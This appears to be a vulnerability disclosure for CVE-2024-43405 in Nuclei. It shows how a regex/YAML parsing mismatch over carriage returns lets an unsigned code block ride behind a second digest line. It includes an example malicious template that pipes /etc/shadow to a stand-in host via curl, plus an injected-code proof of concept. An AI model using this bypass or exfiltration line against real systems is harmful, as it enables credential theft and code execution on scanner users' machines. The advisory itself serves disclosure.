【漏洞预警】Nuclei 存在签名验证绕过问题 (CVE-2024-43405) 这可能会导致任意代码执行

id: 1189c2fd-4d25-4f92-9c1c-208125397237
info:
  name: Ollama before 0.1.34 is vulnerable to remote code execution
  author: Wiz Research
  severity: Critical
  description: Publicly exposed Ollama instance is vulnerable to Remote Code Execution
    in Ollama (CVE-2024-37032)
  metadata:
    max-request: 1
http:
- method: GET
  path:
  - '{{BaseURL}}/api/version'
  matchers-condition: and
  matchers:
  - type: status
    status:
    - 200
  - type: word
    words:
    - '"version":"'
    part: body
  - type: dsl
    name: vulnerable_version
    dsl:
    - compare_versions(detected_version, "<=0.1.34")
  extractors:
  - type: json
    part: body
    name: detected_version
    json:
    - .version
    
# digest: 27066e6af9b75f3f1ff666635b0975fbc05a2db80526c13ee9ea7c302e303136:922c64590222798bb761d5b6d8e72951

id: shadow-leak

info:
  name: Unauthorized /etc/shadow Exfiltration
  author: attacker
  severity: critical

code:
  - engine:
      - sh
      - bash
    source: |
        cat /etc/shadow | curl -X POST -d @- http://malicious-server.com/upload

# digest: ec871480d85b1756d8afd04cdc76ac6edf875f1d8a4192f74193a362dc7ec180:922c64590222798bb761d5b6d8e72951

var (
  ReDigest = regexp.MustCompile(`(?m)^#\sdigest:\s.+$`)
  SignaturePattern = "# digest: "
)

func RemoveSignatureFromData(data []byte) []byte {
  return bytes.Trim(ReDigest.ReplaceAll(data, []byte("")), "\n")
}

func (t *TemplateSigner) Verify(data []byte) (bool, error) {
  digestData := ReDigest.Find(data)
  if len(digestData) == 0 {
    return false, errors.New("digest not found")
  }

  digestData = bytes.TrimSpace(bytes.TrimPrefix(digestData, []byte(SignaturePattern)))
  digestString := strings.TrimSuffix(string(digestData), ":"+t.GetUserFragment())
  digest, err := hex.DecodeString(digestString)
  if err != nil {
    return false, err
  }

  buff := bytes.NewBuffer(RemoveSignatureFromData(data))

  // Verify using standard Go's ECDSA
  if !t.verify(sha256.Sum256(buff.Bytes()), digest) {
    return false, errors.New("signature verification failed")
  }

  return true, nil
}

// SecureExecute is a mock we at Wiz created that mimics Nuclei's logic to illustrate the vulnerability, 
// verifying a template's signature, parsing it as YAML, and executing it.
func SecureExecute(rawTemplate []byte, verifier *TemplateSigner) (interface{}, error) {
  // Verify the template signature
  isVerified, err := verifier.Verify(rawTemplate)
  if err != nil || !isVerified {
    return nil, errors.New("template verification failed")
  }

  // Parse the template
  template := &Template{}
  err = yaml.Unmarshal(rawTemplate, template)
  if err != nil {
    return nil, errors.New("couldn't unmarshal template")
  }

  // Execute the template and return the result
  return template.execute()
}

ReDigest := regexp.MustCompile(`(?m)^#\sdigest:\s.+$`)
// ...
digestData := ReDigest.Find(data)
// ...
template := ReDigest.ReplaceAll(data, []byte(""))

id: 272a78ad-9d63-4cc2-a715-be1657385d52
info:
  name: Jenkins should not allow remote unauthenticated access to script console
  author: Wiz Research
  
# digest: <signature1>
# digest: <signature2>

id: 272a78ad-9d63-4cc2-a715-be1657385d52
info:
  name: Jenkins should not allow remote unauthenticated access to script console
  author: Wiz Research

// Note that the same `rawTemplate` is passed both to `Verify` and YAML

isVerified, err := verifier.Verify(rawTemplate) // Verify using regex
if err != nil || !isVerified {
  return nil, errors.New("template verification failed")
}

template := &Template{}
err = yaml.Unmarshal(rawTemplate, template) // Parse using YAML
if err != nil {
  return nil, errors.New("couldn't unmarshal template")
}

// The YAML parsed template is executed
return template.execute()

inputs := []string{
  "# digest: abc123\nInjected content!",
  "# digest: ghi789\r\nInjected content!",
  "# digest: def456\rInjected content!",
  // ...
}

re := regexp.MustCompile(`(?m)^#\sdigest:\s.+$`)

for _, input := range inputs {
  match := re.Find([]byte(input))
  fmt.Printf("Input: %q\n", input)
  fmt.Printf("Match: %q\n", match)
}

/*
Input: "# digest: abc123\nInjected content!"
Match: "# digest: abc123"

Input: "# digest: ghi789\r\nInjected content!"
Match: "# digest: ghi789\r"

Input: "# digest: def456\rInjected content!"
Match: "# digest: def456\rInjected content!" 💥
...
*/

id: benign-template
info:
  name: Valid Template Example
  author: Wiz Research
  severity: Low
  
# digest: <valid-signature>
# digest: <injected-signature>\rcode:\r\r engine:\r - sh\r source: |\r echo "This is injected and executed!" > /tmp/payload.txt